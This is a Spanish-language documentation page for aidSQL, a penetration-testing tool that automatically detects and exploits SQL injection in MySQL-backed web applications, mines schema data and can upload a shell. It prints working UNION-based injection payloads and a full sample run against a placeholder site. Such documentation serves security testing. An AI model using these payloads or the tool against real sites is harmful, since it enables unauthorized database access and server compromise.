Menu

aidsql-es




aidsql

Fase(s):

Principal: Explotación.
Secundaria: N/A.

Descripción:

Es una aplicación de seguridad desarrollada en PHP para la identificación y explotación automática de vulnerabilidades de inyecciones de SQL.

Objetivo:

  • Identificación automática de parámetros vulnerables a inyecciones de SQL.
  • Minado de datos automático configurable para la obtención de información de la base de datos.
  • Carga automática configurable de una shell para la explotación del servidor.

Funcionalidades:

Tecnologías soportadas: Aplicaciones Web con bases de datos en MySQL.

Modo de ejecución: Activo.

Identificación de inyecciones de SQL:

  • En el caso en el que identifique una inyección exitosa, proporciona el nombre del parámetro vulnerable al igual que la liga con la inyección realizada.
  • Realiza una manipulación automática de los parámetros dentro de la URL (GET) y los parámetros dentro de los formularios (POST).
  • Realiza un mapeo del sitio configurable para la identificación de recursos dentro de la aplicación: páginas y parámetros para ser probados posteriormente.

Minado de datos automático configurable para la obtención de información de la base de datos.

  • La siguiente información es minada de la base de datos:
    • Nombre del usuario
    • Nombre de a base de datos
    • Versión de la base de datos
    • Tablas dentro de la base de datos
    • Esquema de la tabla: llave, nombre del campo, tipo del campo

Reportes:
Resultados exportables:

  • Reporte conjunto de la explotación y minado de datos: texto y xml.

Uso básico:

Realizar un escaneo automático de una aplicación Web. La siguiente instrucción realiza un escaneo automático dentro una aplicación:

./aidSQL --url=[URL] --no-shell


Dónde:

  • --url: Aplicación Web a escanear.
  • --no-shell: Deshabilita la carga de una shell

Nota: Por defecto, la herramienta está configurada para realizar el minado de datos al igual que la carga de una shell propia de la herramienta de manera automática posterior al descubrimiento de un parámetro vulnerable, por lo que se recomienda utilizar la opción --no-shell para reducir el impacto que pudiera ocasionar.

La herramienta iniciara corriendo el mapeo del sitio para identificar las páginas y parámetros dentro de la aplicación.

Normalized URL: http://midominio.com.mx/miaplicacion/

Crawling ...

Fetching content from http://midominio.com.mx/miaplicacion/

200 OK

TOTAL URL's found: 55

Add file index.jsp ...

Page "index.jsp" matches required types php,asp,aspx,cfm,do,jsp,htm,html

Add URL " http://midominio.com.mx/miaplicacion/index.jsp?message=Welcome"

Parsing previously crawled URL, looking for new parameters

Adding new parameter "do"


Esta información posteriormente será utilizada para identificar los parámetros que son vulnerables por medio de la inyección de sentencias preestablecidas de SQL (sentencias “UNION”) para ser analizados dentro de las respuestas.

Testing links ...

1. { http://midominio.com.mx/miaplicacion/index.jsp }

Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp
Set method GET …

Load sqli => mysql5 ... OK

Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp?message=Welcome

sql injection plugin...

[1][ [message] | METHOD: unionQuery

[QUERY] | b54293624e8b649e5e948364b6e4a9cb UNION ALL SELECT CONCAT(0x3c61696473716c3e,1,0x3c2f61696473716c3e)/*

Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp?message=b54293624e8b649e5e948364b6e4a9cb+
UNION+ALL+SELECT+CONCAT%280x3c61696473716c3e%2C1%2C0x3c2f61696473716c3e%29%2F%2A
[WW] WARNING: GOT 403

[2][ message] | METHOD: unionQuery …


Durante la ejecución del escaneo, en el caso en que la herramienta identifique un parámetro vulnerable a una inyección de SQL, iniciara el proceso de minado de la base de datos.

Site is vulnerable to sql injection!

Skipping calling plugin's get shell method

Fetching database user ...

[message] | METHOD: unionQuery

[QUERY] | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,USER(),0x3c2f61696473716c3e),3,4,5; -- Normalized URL: http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CUSER%28%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5%3B+--+
FOUND DATABASE seguridad
[message] | METHOD: unionQuery

[QUERY] | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(TABLE_NAME,0x7c,TABLE_TYPE,0x7c,ENGINE,0x7c,TABLE_COLLATION,0x7c,
IF(AUTO_INCREMENT,1,0)),0x3c2f61696473716c3e),3,4,5 FROM information_schema.tables WHERE table_schema=0x6f776173703130; --
Normalized URL:
http://midominio.com.mx/miaplicacion/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
TABLE_NAME%2C0x7c%2CTABLE_TYPE%2C0x7c%2CENGINE%2C0x7c%2C
TABLE_COLLATION%2C0x7c%2CIF%28AUTO_INCREMENT%2C1%2C0%29%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+FROM+information_schema.tables+WHERE+table_schema%3D0x6f776173703130%3B+--+
Fetching table "cuentas" columns ...

[message] | METHOD: unionQuery

[QUERY] | 51761685aa5034e0731b9c9978073af0' UNION ALL SELECT 1,CONCAT(0x3c61696473716c3e,GROUP_CONCAT
(COLUMN_NAME,0x7c,COLUMN_TYPE,0x7c,IF(COLUMN_KEY,COLUMN_KEY,0),0x7c,IF(EXTRA,EXTRA,0) SEPARATOR 0x25),0x3c2f61696473716c3e),3,4,5
FROM information_schema.columns WHERE table_schema=0x6f776173703130 AND table_name=0x6163636f756e7473; --
Normalized URL:
http://midominio.com.mx/miaplicacion
/index.jsp?message=51761685aa5034e0731b9c9978073af0%27+
UNION+ALL+SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e%29%2C3%2C4%2C5+
FROM+information_schema.columns+
WHERE+table_schema%3D0x6f776173703130+AND+table_name%3D0x6163636f756e7473%3B+--+&password=prueba&user-info-php-submit-button=View%2BAccount%2BDetails&page=user-info.php


Al final de la ejecución la herramienta desplegara un reporte de cuantas vulnerabilidades de inyección de SQL detecto durante el escaneo, al igual que el tiempo total de la ejecución del escaneo.

VULNERABLE LINKS FOUND : 1
TOTAL TIME : 53 seconds


La herramienta de manera automática, guarda los resultados de la explotación y minado de datos dentro de la capeta interna:

  • Carpeta /logs/\[miaplicacion\]
  • Carpeta log - index.php_console.log
  • Carpeta xml - index.php_db_schemas.xml

Archivo index.php_console.log

HOST midominio.com.mx ------------------------------------
PLUGIN NAME : UNION
PLUGIN AUTHOR : Juan Stange
REQUEST VARIABLES : message, do, info, page,…
VULNERABLE LINK : http://midominio.com.mx/miaplicacion
/index.jsp?message==0eb751e9f79eb91238fc1902844d30e6%27+UNION+ALL+
SELECT+1%2CCONCAT%280x3c61696473716c3e%2CGROUP_CONCAT%28
COLUMN_NAME%2C0x7c%2CCOLUMN_TYPE%2C0x7c%2CIF%28COLUMN_KEY%2CCOLUMN_KEY%2C0%29%2C0x7c%2CIF%28EXTRA%2CEXTRA%2C0%29+SEPARATOR+0x25%29%2C0x3c2f61696473716c3e
%29%2C3%2C4%2C5+FROM+information_schema.columns+WHERE+
table_schema%3D0x6f776173703130+AND+table_name%3D0x70656e5f746573745f746f6f6c73%3B+--+
------------------------------------------------
SCHEMA seguridad
------------------------------------------------
VERSION : 5.5.16
DATADIR :

TABLE cuentas
---------------------
type : BASE TABLE
engine : InnoDB
collation : latin1_swedish_ci
increment : 1

COLUMNS
---------------------
NAME : cid
type int(11)
key 0
extra 0
NAME : username


Archivo index.php_db_schemas.xml

<schemas>
<database name="owasp10" version="5.5.16" datadir="">
<tables>
<table name="accounts" type="BASE TABLE" engine="InnoDB" collation="latin1_swedish_ci" increment="1">
<column name="cid"><type>int(11)</type><key>0</key><extra>0</extra></column>
<column name="username"><type>text</type><key>0</key><extra>0</extra></column>


Referencias:

Liga: http://code.google.com/p/aidsql/.
Autor (es): jpfstange
LynxSec IT consulting and security
Contacto: lynxsec [at] gmail.com
IRC: irc.freenode.net #aidsql
Twitter: http://twitter.com/#!aidsql
Licencia: GNU GPL v2